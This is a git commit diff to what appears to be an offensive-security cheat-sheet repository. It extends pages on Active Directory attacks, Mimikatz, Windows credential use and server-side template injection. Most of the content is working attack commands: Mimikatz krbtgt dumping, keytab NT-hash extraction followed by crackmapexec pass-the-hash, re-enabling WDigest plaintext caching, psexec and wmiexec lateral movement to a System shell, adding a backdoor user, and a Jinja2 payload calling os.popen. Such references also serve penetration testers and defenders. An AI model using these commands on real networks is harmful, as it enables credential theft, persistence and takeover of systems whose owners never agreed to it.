krb5.keytab + credential use summary

This commit is contained in:
Swissky 2019-10-20 13:25:06 +02:00
parent 7159a3ded3
commit ed252df92e
4 changed files with 97 additions and 24 deletions

View file

@ -13,6 +13,7 @@
* Using vssadmin
* Using DiskShadow
* Using Mimikatz DCSync
* Using Mimikatz sekurlsa
* [Password in AD User comment](#password-in-ad-user-comment)
* [Pass-the-Ticket Golden Tickets](#pass-the-ticket-golden-tickets)
* [Pass-the-Ticket Silver Tickets](#pass-the-ticket-silver-tickets)
@ -28,6 +29,7 @@
* [Resource-Based Constrained Delegation](#resource-based-constrained-delegation)
* [PrivExchange attack](#privexchange-attack)
* [Password spraying](#password-spraying)
* [Extract accounts from /etc/krb5.keytab](#extract-accounts-from-etc-krb5-keytab)
* [PXE Boot image attack](#pxe-boot-image-attack)
## Tools
@ -393,6 +395,15 @@ mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt
:warning: Read-Only Domain Controllers are not allowed to pull password data for users by default.
#### Using Mimikatz sekurlsa
Dumps credential data in an Active Directory domain when run on a Domain Controller.
:warning: Requires administrator access with debug or Local SYSTEM rights
```powershell
sekurlsa::krbtgt
lsadump::lsa /inject /name:krbtgt
```
### Password in AD User comment
@ -902,6 +913,30 @@ Most of the time the best passwords to spray are :
- Welcome1
- $Companyname1
### Extract accounts from /etc/krb5.keytab
The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.
Use [`klist`](https://adoptopenjdk.net/?variant=openjdk13&jvmVariant=hotspot) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23 is the actual NT Hash of the user.
```powershell
$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
KVNO: 25
Key type: 23
Key: 6b3723410a3c54692e400a5862256e0a
Time stamp: Oct 07, 2019 09:12:02
[...]
```
Connect to the machine using the account and the hash with CME.
```powershell
$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "6b3723410a3c54692e400a5862256e0a" -d "DOMAIN"
CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 6b3723410a3c54692e400a5862256e0a
```
### PXE Boot image attack
@ -1005,4 +1040,6 @@ PXE allows a workstation to boot from the network by retrieving an operating sys
* [[PrivExchange] From user to domain admin in less than 60sec ! - davy](http://blog.randorisec.fr/privexchange-from-user-to-domain-admin-in-less-than-60sec/)
* [Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy - March 16, 2017 - harmj0y](http://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/)
* [Kerberos (II): How to attack Kerberos? - June 4, 2019 - ELOY PÉREZ](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
* [Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory - Sean Metcalf](https://adsecurity.org/?p=3592)
* [Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory - Sean Metcalf](https://adsecurity.org/?p=3592)
* [All you need to know about Keytab files - Pierre Audonnet [MSFT] - January 3, 2018](https://blogs.technet.microsoft.com/pie/2018/01/03/all-you-need-to-know-about-keytab-files/)
* [Taming the Beast Assess Kerberos-Protected Networks - Emmanuel Bouillon](https://www.blackhat.com/presentations/bh-europe-09/Bouillon/BlackHat-Europe-09-Bouillon-Taming-the-Beast-Kerberous-slides.pdf)

View file

@ -24,6 +24,10 @@ mimikatz # sekurlsa::wdigest
```powershell
mimikatz_command -f sekurlsa::logonPasswords full
mimikatz_command -f sekurlsa::wdigest
# to re-enable wdigest in Windows Server 2012+
# in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest
# create a DWORD 'UseLogonCredential' with the value 1.
```
## Mimikatz - Mini Dump
@ -108,3 +112,4 @@ More informations can be grabbed from the Memory with :
- [Unofficial Guide to Mimikatz & Command Reference](https://adsecurity.org/?page_id=1821)
- [Skeleton Key](https://pentestlab.blog/2018/04/10/skeleton-key/)
- [Reversing Wdigest configuration in Windows Server 2012 R2 and Windows Server 2016 - 5TH DECEMBER 2017 - ACOUCH](https://www.adamcouch.co.uk/reversing-wdigest-configuration-in-windows-server-2012-r2-and-windows-server-2016/)

View file

@ -1,6 +1,25 @@
# Windows - Using credentials
## TIP 1 - Create your credential :D
## Summary
* [TIPS](#tips)
* [TIP 1 - Create your credential](#tip-1-create-your-credential)
* [TIP 2 - Retail Credential](#tip-2-retail-credential)
* [TIP 3 - Sandbox Credential - WDAGUtilityAccount](#tip-3-sandbox-credrential-wdagutilityaccount)
* [Metasploit](#metasploit)
* [Metasploit - SMB](#metasploit-smb)
* [Metasploit - Psexec](#metasploit-psexec)
* [Crackmapexec](#crackmapexec)
* [Winexe](#winexe)
* [Psexec.py / Smbexec.py / Wmiexec.py](#psexec.py---smbexec.py---wmiexec.py)
* [PsExec - Sysinternal](#psexec-sysinternal)
* [RDP Remote Desktop Protocol](#rdp-remote-desktop-protocol)
* [Netuse](#netuse)
* [Runas](#runas)
## TIPS
### TIP 1 - Create your credential
```powershell
net user hacker hacker1234* /add
@ -17,7 +36,9 @@ net user /dom
net user /domain
```
## TIP 2 - Retail Credential [@m8urnett on Twitter](https://twitter.com/m8urnett/status/1003835660380172289)
### TIP 2 - Retail Credential
Retail Credential [@m8urnett on Twitter](https://twitter.com/m8urnett/status/1003835660380172289)
when you run Windows in retail demo mode, it creates a user named Darrin DeYoung and an admin RetailAdmin
@ -26,7 +47,9 @@ Username: RetailAdmin
Password: trs10
```
## TIP - Sandbox Credential - WDAGUtilityAccount - [@never_released on Twitter](https://twitter.com/never_released/status/1081569133844676608)
### TIP 3 - Sandbox Credential - WDAGUtilityAccount
WDAGUtilityAccount - [@never_released on Twitter](https://twitter.com/never_released/status/1081569133844676608)
Starting with Windows 10 version 1709 (Fall Creators Update), it is part of Windows Defender Application Guard
@ -37,7 +60,9 @@ Password: pw123
```
## Metasploit - SMB
## Metasploit
### Metasploit - SMB
```c
use auxiliary/scanner/smb/smb_login
@ -49,7 +74,7 @@ run
creds
```
## Metasploit - Psexec
### Metasploit - Psexec
Note: the password can be replaced by a hash to execute a `pass the hash` attack.
@ -63,27 +88,27 @@ run
shell
```
## Crackmapexec (Integrated to Kali)
## Crackmapexec
```python
git clone https://github.com/byt3bl33d3r/CrackMapExec.github
python crackmapexec.py 10.9.122.0/25 -d DOMAIN -u username -p password
python crackmapexec.py 10.10.10.10 -d DOMAIN -u username -p password -x whoami
```
## Crackmapexec (Pass The Hash)
```powershell
# pass the hash
cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth
```
## Winexe (Integrated to Kali)
## Winexe
Integrated to Kali
```python
winexe -U DOMAIN/username%password //10.10.10.10 cmd.exe
```
## Psexec.py / Smbexec.py / Wmiexec.py (Impacket)
## Psexec.py / Smbexec.py / Wmiexec.py
from Impacket
```python
git clone https://github.com/CoreSecurity/impacket.git
@ -95,7 +120,16 @@ python wmiexec.py DOMAIN/username:password@10.10.10.10
# switch admin user to NT Authority/System
```
## RDP Remote Desktop Protocol (Impacket)
## PsExec - Sysinternal
from Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)
```powershell
PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe
PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s # get System shell
```
## RDP Remote Desktop Protocol
```powershell
python rdpcheck.py DOMAIN/username:password@10.10.10.10
@ -139,24 +173,20 @@ xfreerdp /u:offsec /d:win2012 /pth:88a405e17c0aa5debbc9b5679753939d /v:10.0.0.1
```
## Netuse (Windows)
## Netuse
Windows only
```powershell
net use \\ordws01.cscou.lab /user:DOMAIN\username password
C$
```
## Runas (Windows - Kerberos auth)
## Runas
```powershell
runas /netonly /user:DOMAIN\username "cmd.exe"
```
## PsExec (Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) )
```powershell
PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe
PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s # get System shell
runas /noprofil /netonly /user:DOMAIN\username cmd.exe
```
## References

View file

@ -288,6 +288,7 @@ nv -lnvp 8000
```python
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
```
#### Exploit the SSTI by calling Popen without guessing the offset